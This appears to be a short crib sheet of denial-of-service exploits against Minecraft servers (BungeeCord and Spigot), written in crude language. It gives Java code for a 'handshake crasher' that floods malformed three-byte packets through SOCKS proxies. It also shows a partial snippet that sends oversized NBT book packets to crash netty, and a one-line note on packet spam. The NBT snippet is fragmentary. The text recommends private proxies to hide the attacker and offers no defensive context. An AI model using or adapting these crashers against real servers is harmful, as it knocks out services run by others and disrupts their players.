Handshake Crasher

Sending huge amount of fucked handshake packets causes a big amount of exceptions that can fuck ur server, for best result use fast private socks proxies. (Also there is more types of handshake crashers, but some of them don't need a fucked data)

private static final byte[] fuckedHandshakePacket = {0, 0, 0}; //this is fucked handshake data with 3 length of bytes (this can fuck normal bungeecord and spigot) 
/*
  0 - packet length
  0 - packet id
  0 - packet data
*/

public static void handshakeCrasher(Proxy proxy, String ip, int port, int amount) {
    try (Socket socket = new Socket(proxy)) {
        socket.connect(new InetSocketAddress(ip, port));
        for(int i = 0; i < amount; ++i) {
            socket.getOutputStream().write(fuckedHandshakePacket);
        }
    }catch (Exception e) {}
}

NBT

Sending a lot of big packets in a short space time causes netty crash.

        for (int i = 0; i < 100; i++) {
            pages.appendTag(pageContent);
        }

        final NBTTagCompound compound = new NBTTagCompound();
        compound.setString("title", "Yooniks idiot XD");
        compound.setTag("pages", pages);

        itemStack.setTagCompound(compound);
        itemStack.setTagInfo("pages", pageContent);

        mc.thePlayer.sendQueue.addToSendQueue(new C08PacketPlayerBlockPlacement(itemStack));
    }catch (final Exception e) {}
}

PacketSpam

Sending a lot of packets in a short space time, causes that netty can't handle it.
